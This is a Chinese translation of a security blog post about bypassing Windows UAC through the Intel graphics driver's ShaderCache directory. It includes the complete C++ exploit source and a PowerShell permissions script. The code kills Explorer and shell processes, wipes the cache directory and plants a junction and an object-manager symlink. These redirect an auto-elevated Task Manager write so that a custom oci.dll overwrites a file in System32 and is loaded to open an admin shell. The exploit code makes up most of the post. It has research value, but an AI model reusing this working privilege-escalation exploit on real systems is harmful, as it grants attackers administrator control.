【翻译】Bypassing UAC via Intel ShaderCache Directory
闲话少说,让我为你介绍 Intel 显卡驱动 ShaderCache 目录的 UAC 绕过方法。当您加载 GUI 驱动的程序(如浏览器、Discord、任务管理器等)时,Intel 显卡驱动会使用此目录。如果你使用的是 Intel 显卡,那么你很幸运(当然,如果你是渗透测试人员的话 😜),我敢说你电脑上很可能存在这个文件夹。
现在你可能会想:"为什么他没有披露这个漏洞?" 好问题。我没有披露它的原因是,这个漏洞似乎在 2019 年就已经被披露了,但漏洞仍然存在。为什么?我不确定。但我不打算重新发明轮子并重新提交它。😛 以下是原始漏洞披露,供感兴趣的人参考:
原始漏洞披露
简而言之,这个 UAC 绕过方法利用了自动提升权限的进程(如任务管理器)会向该目录写入数据的事实。这也是一个我们可以管理权限的目录,包括目录中的文件。注意到"已验证用户"组拥有完全控制权限了吗?是的,我和你一样惊讶,相信我!😺 顺便说一下,"访客"组也拥有完全控制权限。我简直不敢相信自己的眼睛!👀
如果你熟悉任意写入(arbitrary write)和连接点(junctions)的工作原理,那么这个漏洞利用的大部分内容都相当简单。这个漏洞利用中最耗时的部分是删除所有被 Intel 显卡驱动进程正在使用的文件。根据原始披露,我最终将所有文件的安全设置更改为只读,这样任何进程都无法写入现有文件。以下是我用来更改权限的 PowerShell 脚本:
$target = "C:UsersrobbiAppDataLocalLowIntelShaderCache"
# 2. Remove inheritance and wipe existing permissions
icacls $target /inheritance:r /T
icacls $target /remove:g "ANONYMOUS LOGON" "Guests" "Administrators" /T
# 3. Grant minimal permissions to the folder and subfolders
# (CI) - Container Inherit (subfolders)
# (OI) - Object Inherit (files)
# This only affects ACL propagation
icacls $target /grant:r "Authenticated Users:(OI)(CI)(RX,D)" /T
# 4. Explicitly overwrite ACLs on existing files with only (RX,D)
Get-ChildItem $target -Recurse -File | ForEach-Object {
icacls $_.FullName /inheritance:r
icacls $_.FullName /grant:r "Authenticated Users:(RX,D)"
}
随后,我继续尝试删除尽可能多的文件。我不断遇到障碍,几乎认为这个漏洞利用需要系统重启才能完成。但我决心在不重启系统的情况下完成这个任务,最终我的坚持得到了回报!
我遇到的另一个障碍是,在使用taskkill /F
命令启动任务管理器后,我无法关闭它。为什么?因为我是一个标准用户,试图终止一个已提升权限的进程。但经过进一步研究,我找到了解决方案!你可以启动一个在设定超时时间后自动关闭的提升权限进程。问题解决了!查看下面的代码片段,了解我的具体实现:
bool LaunchElevatedProcessWithTimeout(LPCWSTR executable, LPCWSTR parameters, DWORD timeout_ms)
{
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = executable;
sei.lpParameters = parameters;
sei.nShow = SW_SHOWNORMAL;
sei.fMask = SEE_MASK_NOCLOSEPROCESS;
if(!ShellExecuteExW(&sei))
{
DWORD err = GetLastError();
std::wcerr << L"Failed to launch elevated process. Error: " << err << std::endl;
return false;
}
if(sei.hProcess != NULL)
{
DWORD wait_result = WaitForSingleObject(sei.hProcess, timeout_ms);
if(wait_result == WAIT_TIMEOUT)
{
std::wcout << L"Process exceeded timeout, terminating..." << std::endl;
TerminateProcess(sei.hProcess, 1);
}
else
{
std::wcout << L"Process exited within timeout." << std::endl;
}
CloseHandle(sei.hProcess);
}
return true;
}
LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe", L"", 3000);
这个漏洞利用的最后一步是删除由 Intel 驱动程序相关进程创建的所有文件。我基本上设置了一个循环,持续检查某些进程是否仍在运行,如果是,则终止它们并尝试删除目录中的文件。我还添加了一个检查,当目录为空时,这意味着我们可以创建我们的 junction(连接点)!这是一个竞态条件(race condition),因为我们必须快速创建我们的 junction,因为sihost.exe
和ShellHost.exe
会不断地向这个目录写入文件。😆
void checkdir()
{
std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache";
WinExec("cmd.exe /c TASKKILL /F /IM explorer.exe", 0);
Sleep(500);
WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);
WinExec("cmd.exe /c TASKKILL /F /IM sihost.exe", 0);
Sleep(500);
WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);
WinExec("cmd.exe /c TASKKILL /F /IM ShellHost.exe", 0);
Sleep(500);
WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);
WinExec("cmd.exe /c TASKKILL /F /IM ApplicationFrameHost.exe", 0);
Sleep(500);
WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);
std::wstring checkEmpty = GetMostRecentFile(dir);
if (checkEmpty.empty()) {
std::wcerr << L"Good news! No files found in the directory :) Deleting directory and creating the junction!n";
WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", 0);
Sleep(1000);
}
else {
std::wcout << L"There are still files...continuing to kill tasks and delete stuff...Remaining file: " << checkEmpty << std::endl;
Sleep(1000);
checkdir();
}
}
这个漏洞利用 (exploit) 还有另一个关键要素需要说明。我们不仅创建了一个 junction(连接点),还将在创建 junction 后执行任意写操作,将文件创建/写入操作重定向到我们选择的目录和文件。但要做到这一点,我们需要提前知道 Intel 驱动程序创建的文件名。我承认,这是这个漏洞利用的另一个棘手之处。为什么棘手呢?因为文件名是随机的...某种程度上。它在注销和重启机器后会发生变化。我是这样解决这个问题的:我启动了一个自动提升权限的 Task Manager 实例,Task Manager 会立即开始向 ShaderCache 目录写入文件。我获取了目录中最近写入的文件,在这种情况下,就是 Task Manager 写入的文件。然后我将其保存到一个.txt
文件中以便后续读取。请看:
std::wstring GetMostRecentFile(const std::wstring& directoryPath){
namespace fs = std::filesystem;
std::wstring mostRecentFile;
fs::file_time_type latestTime;
for (const auto& entry : fs::directory_iterator(directoryPath)) {
if (!entry.is_regular_file()) continue;
auto ftime = entry.last_write_time();
if (mostRecentFile.empty() || ftime > latestTime) {
latestTime = ftime;
mostRecentFile = entry.path().filename().wstring();
}
}
return mostRecentFile;
}
std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache";
initialcheck = GetMostRecentFile(dir);
BAM!此时,我已经具备了所有需要的条件:
-
将所有文件权限更改为只读,并创建一个循环来识别并继续终止所有仍在访问我们 ShaderCache 目录中文件的进程,然后删除该目录中的所有文件 -
创建一个 Junction(连接点) -
将 TaskManager 写入目录的最新文件重定向到我们配置的目标位置(稍后将展示) -
覆盖此文件(我使用 copy /F myfile c:/windows/system32/destfile) -
执行该文件并绕过 UAC!预告一下:我复制了一个执行 cmd.exe 的 DLL
让我们继续吧?我将继续创建 Junction,如下所示:
voidCreateJunction(LPCWSTR linkDir, LPCWSTR targetDir)
{
HANDLE hFile;
REPARSE_DATA_BUFFER* reparseData;
DWORD bytesReturned;
size_t targetLength;
// Create the directory for the junction if it doesn't exist
CreateDirectory(linkDir, NULL);
// Open the directory
hFile = CreateFile(linkDir, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open directory: " << GetLastError() << std::endl;
return;
}
targetLength = wcslen(targetDir) * sizeof(WCHAR);
reparseData = (REPARSE_DATA_BUFFER*)malloc(REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);
if (!reparseData) {
std::cerr << "Failed to allocate memory." << std::endl;
CloseHandle(hFile);
return;
}
memset(reparseData, 0, REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);
reparseData->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
reparseData->ReparseDataLength = (USHORT)(targetLength + 12);
reparseData->Reserved = 0;
reparseData->MountPointReparseBuffer.SubstituteNameOffset = 0;
reparseData->MountPointReparseBuffer.SubstituteNameLength = (USHORT)targetLength;
reparseData->MountPointReparseBuffer.PrintNameOffset = (USHORT)(targetLength + sizeof(WCHAR));
reparseData->MountPointReparseBuffer.PrintNameLength = 0;
memcpy(reparseData->MountPointReparseBuffer.PathBuffer, targetDir, targetLength);
// Set the reparse point
if (!DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT, reparseData, REPARSE_DATA_BUFFER_HEADER_SIZE + reparseData->ReparseDataLength, NULL, 0, &bytesReturned, NULL)) {
std::cerr << "Failed to set reparse point: " << GetLastError() << std::endl;
}
else {
std::cout << "Junction created successfully." << std::endl;
}
free(reparseData);
CloseHandle(hFile);
}
// Create the junction
CreateJunction(L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", L"\??\GLOBALROOT\RPC CONTROL");
std::wifstream inFile(L"c:\users\public\recent.txt");
if (inFile) {
std::getline(inFile, recentFile);
inFile.close();
std::wcout << L"Value read from file: " << recentFile << std::endl;
}
else {
std::wcerr << L"Failed to open recent.txtn";
}
接下来,我将创建一个基于对象的符号链接(Object Based symlink)。基于对象的符号链接(Object Manager-based Symbolic Link)是 Windows 中的一种符号链接类型,它存在于 Windows 对象管理器命名空间(Object Manager Namespace)中,而不是传统的文件系统中。这种方法的优势在于,我们可以使用 RPC CONTROL 全局对象来创建链接,而无需管理员权限即可完成此操作。
BOOL CreateDosDevice(LPCWSTR deviceName, LPCWSTR targetPath) {
if(DefineDosDevice(DDD_RAW_TARGET_PATH, deviceName, targetPath)) {
std::wcout << L"Created DosDevice: " << deviceName << L" -> " << targetPath << std::endl;
return TRUE;
}
else {
std::cerr << "Failed to create DosDevice: " << GetLastError() << std::endl;
return FALSE;
}
}
std::wstring dosDeviceName = L"Global\GLOBALROOT\RPC CONTROL\" + recentFile;
if(CreateDosDevice(dosDeviceName.c_str(), dllTarget.c_str())) {
std::wcout << L"Symlink created: " << dosDeviceName << L" -> " << dllTarget << std::endl;
}
else {
std::wcerr << L"CreateDosDevice failed: " << GetLastError() << std::endl;
return 1;
}
最后,我们再次启动 TaskManager 来创建我们计划利用的虚拟文件。文件创建后,会发生以下情况:
-
虚拟文件被写入 C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\4acae28c94cad7a0b8f78d11fefc67ef3b8cd41ecba3ad1a9da81873fb4c56f8
,然后被重定向到c:\windows\system32\oci.dll
-
我使用了自己定制的 oci.dll 文件,它只是简单地打开 cmd.exe -
我们将定制的 oci.dll 文件复制并覆盖 System32 目录中的文件,现在我们拥有写入权限 -
ComExp.msc(组件服务)会使用这个 DLL 文件,因此我们只需运行 comexp.msc,我们的 payload 就会被加载,剩下的就是历史了!
LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe", L"", 3000);
WinExec("cmd.exe /c copy /Y c:\myfolder\oci.dll c:\windows\system32\oci.dll", 0); //overwrite dummy file with our file
Sleep(3000);
WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", 0);
std::cout << "Launching admin shell!n";
LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\comexp.msc", L"", 3000);
std::cout << "[+] Cleanup: removing oci.dll to prevent unwanted issues with other exe's that want to load itn";
Sleep(1000);
WinExec("cmd.exe /c del /F /Q C:\Windows\System32\oci.dll", 0);
return 0;
完整源代码如下(使用时请将我的用户名替换为你自己的用户名,同时修改上述.ps1 脚本中的相关内容):
#include <windows.h>
#include <iostream>
#include <filesystem>
#include <fstream>
#include <string>
#include <chrono>
#pragma comment(lib, "user32.lib")
#define REPARSE_DATA_BUFFER_HEADER_SIZE FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer)
typedef struct _REPARSE_DATA_BUFFER {
DWORD ReparseTag;
WORD ReparseDataLength;
WORD Reserved;
union {
struct {
WORD SubstituteNameOffset;
WORD SubstituteNameLength;
WORD PrintNameOffset;
WORD PrintNameLength;
DWORD Flags;
WCHAR PathBuffer[1];
} SymbolicLinkReparseBuffer;
struct {
WORD SubstituteNameOffset;
WORD SubstituteNameLength;
WORD PrintNameOffset;
WORD PrintNameLength;
WCHAR PathBuffer[1];
} MountPointReparseBuffer;
struct {
BYTE DataBuffer[1];
} GenericReparseBuffer;
};
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
std::wstring GetMostRecentFile(const std::wstring& directoryPath) {
namespace fs = std::filesystem;
std::wstring mostRecentFile;
fs::file_time_type latestTime;
for (const auto& entry : fs::directory_iterator(directoryPath)) {
if (!entry.is_regular_file()) continue;
auto ftime = entry.last_write_time();
if (mostRecentFile.empty() || ftime > latestTime) {
latestTime = ftime;
mostRecentFile = entry.path().filename().wstring();
}
}
return mostRecentFile;
}
void CreateJunction(LPCWSTR linkDir, LPCWSTR targetDir)
{
HANDLE hFile;
REPARSE_DATA_BUFFER* reparseData;
DWORD bytesReturned;
size_t targetLength;
// Create the directory for the junction if it doesn't exist
CreateDirectory(linkDir, NULL);
// Open the directory
hFile = CreateFile(linkDir, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open directory: " << GetLastError() << std::endl;
return;
}
targetLength = wcslen(targetDir) * sizeof(WCHAR);
reparseData = (REPARSE_DATA_BUFFER*)malloc(REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);
if (!reparseData) {
std::cerr << "Failed to allocate memory." << std::endl;
CloseHandle(hFile);
return;
}
memset(reparseData, 0, REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);
reparseData->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
reparseData->ReparseDataLength = (USHORT)(targetLength + 12);
reparseData->Reserved = 0;
reparseData->MountPointReparseBuffer.SubstituteNameOffset = 0;
reparseData->MountPointReparseBuffer.SubstituteNameLength = (USHORT)targetLength;
reparseData->MountPointReparseBuffer.PrintNameOffset = (USHORT)(targetLength + sizeof(WCHAR));
reparseData->MountPointReparseBuffer.PrintNameLength = 0;
memcpy(reparseData->MountPointReparseBuffer.PathBuffer, targetDir, targetLength);
// Set the reparse point
if (!DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT, reparseData, REPARSE_DATA_BUFFER_HEADER_SIZE + reparseData->ReparseDataLength, NULL, 0, &bytesReturned, NULL)) {
std::cerr << "Failed to set reparse point: " << GetLastError() << std::endl;
}
else {
std::cout << "Junction created successfully." << std::endl;
}
free(reparseData);
CloseHandle(hFile);
}
BOOL CreateDosDevice(LPCWSTR deviceName, LPCWSTR targetPath) {
if (DefineDosDevice(DDD_RAW_TARGET_PATH, deviceName, targetPath)) {
std::wcout << L"Created DosDevice: " << deviceName << L" -> " << targetPath << std::endl;
return TRUE;
}
else {
std::cerr << "Failed to create DosDevice: " << GetLastError() << std::endl;
return FALSE;
}
}
bool LaunchElevatedProcessWithTimeout(LPCWSTR executable, LPCWSTR parameters, DWORD timeout_ms)
{
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = executable;
sei.lpParameters = parameters;
sei.nShow = SW_SHOWNORMAL;
sei.fMask = SEE_MASK_NOCLOSEPROCESS;
if (!ShellExecuteExW(&sei))
{
DWORD err = GetLastError();
std::wcerr << L"Failed to launch elevated process. Error: " << err << std::endl;
return false;
}
if (sei.hProcess != NULL)
{
DWORD wait_result = WaitForSingleObject(sei.hProcess, timeout_ms);
if (wait_result == WAIT_TIMEOUT)
{
std::wcout << L"Process exceeded timeout, terminating..." << std::endl;
TerminateProcess(sei.hProcess, 1);
}
else
{
std::wcout << L"Process exited within timeout." << std::endl;
}
CloseHandle(sei.hProcess);
}
return true;
}
void checkdir()
{
std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache";
WinExec("cmd.exe /c TASKKILL /F /IM explorer.exe", 0);
Sleep(500);
WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);
WinExec("cmd.exe /c TASKKILL /F /IM sihost.exe", 0);
Sleep(500);
WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);
WinExec("cmd.exe /c TASKKILL /F /IM ShellHost.exe", 0);
Sleep(500);
WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);
WinExec("cmd.exe /c TASKKILL /F /IM ApplicationFrameHost.exe", 0);
Sleep(500);
WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);
std::wstring checkEmpty = GetMostRecentFile(dir);
if (checkEmpty.empty()) {
std::wcerr << L"Good news! No files found in the directory :) Deleting directory and creating the junction!n";
WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", 0);
Sleep(1000);
}
else {
std::wcout << L"There are still files...continuing to kill tasks and delete stuff...Remaining file: " << checkEmpty << std::endl;
Sleep(1000);
checkdir();
}
}
int wmain() {
std::cout << "********************************nIMPORTANTn********************************n";
std::cout << "Before continuing, make sure ALL Desktop apps with a GUI are closed. This includes browsers, notepad, discord, etcn";
std::cout << "The tool is only accounting for built in windows processes that have handles to files in the shadowcache directoryn";
std::cout << "Press [ENTER] to continue...n";
std::cin.get();
std::wstring recentFile, initialcheck;
std::wstring dllTarget = L"\??\C:\Windows\System32\oci.dll";
LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe", L"", 3000);
std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache";
initialcheck = GetMostRecentFile(dir);
if (initialcheck.empty()) {
std::wcerr << L"Good news! No files found in the directory.n";
}
else {
std::wcout << L"Most recent file: " << initialcheck << std::endl;
// Write to text file
std::wofstream outFile(L"c:\users\public\recent.txt");
if (outFile) {
outFile << initialcheck;
outFile.close();
}
else {
std::wcerr << L"Failed to write to recent.txtn";
}
}
WinExec("powershell.exe -ExecutionPolicy Bypass -File c:\users\robbi\Desktop\intel_uacbypass_prep.ps1", 0);
Sleep(3000);
WinExec("cmd.exe /c TASKKILL /F /IM explorer.exe", 0);
Sleep(500);
checkdir();
// Create the junction
CreateJunction(L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", L"\??\GLOBALROOT\RPC CONTROL");
std::wifstream inFile(L"c:\users\public\recent.txt");
if (inFile) {
std::getline(inFile, recentFile);
inFile.close();
std::wcout << L"Value read from file: " << recentFile << std::endl;
}
else {
std::wcerr << L"Failed to open recent.txtn";
}
std::wstring dosDeviceName = L"Global\GLOBALROOT\RPC CONTROL\" + recentFile;
if (CreateDosDevice(dosDeviceName.c_str(), dllTarget.c_str())) {
std::wcout << L"Symlink created: " << dosDeviceName << L" -> " << dllTarget << std::endl;
}
else {
std::wcerr << L"CreateDosDevice failed: " << GetLastError() << std::endl;
return 1;
}
LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe", L"", 3000);
WinExec("cmd.exe /c copy /Y c:\myfolder\oci.dll c:\windows\system32\oci.dll", 0); //overwrite dummy file with our file
Sleep(3000);
WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", 0);
std::cout << "Launching admin shell!n";
LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\comexp.msc", L"", 3000);
std::cout << "[+] Cleanup: removing oci.dll to prevent unwanted issues with other exe's that want to load itn";
Sleep(1000);
WinExec("cmd.exe /c del /F /Q C:\Windows\System32\oci.dll", 0);
return 0;
}
我意识到这段代码量很大,但它确实完成了任务,并且这是一种新颖的 UAC(用户账户控制)绕过方法。接受与否由你决定,我确实在重新审视 junction(连接点)、任意写入漏洞(arbitrary write vulnerabilities)、竞争条件(race conditions)以及如何在没有管理员权限的情况下终止自动提升进程的过程中学到了很多。希望你能从中受益!
资源
|
|
---|---|
https://g3tsyst3m.github.io/uac bypass/Bypass-UAC-via-Intel-ShaderCache/ |
|
原文始发于微信公众号(securitainment):通过 Intel ShaderCache 目录绕过 UAC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论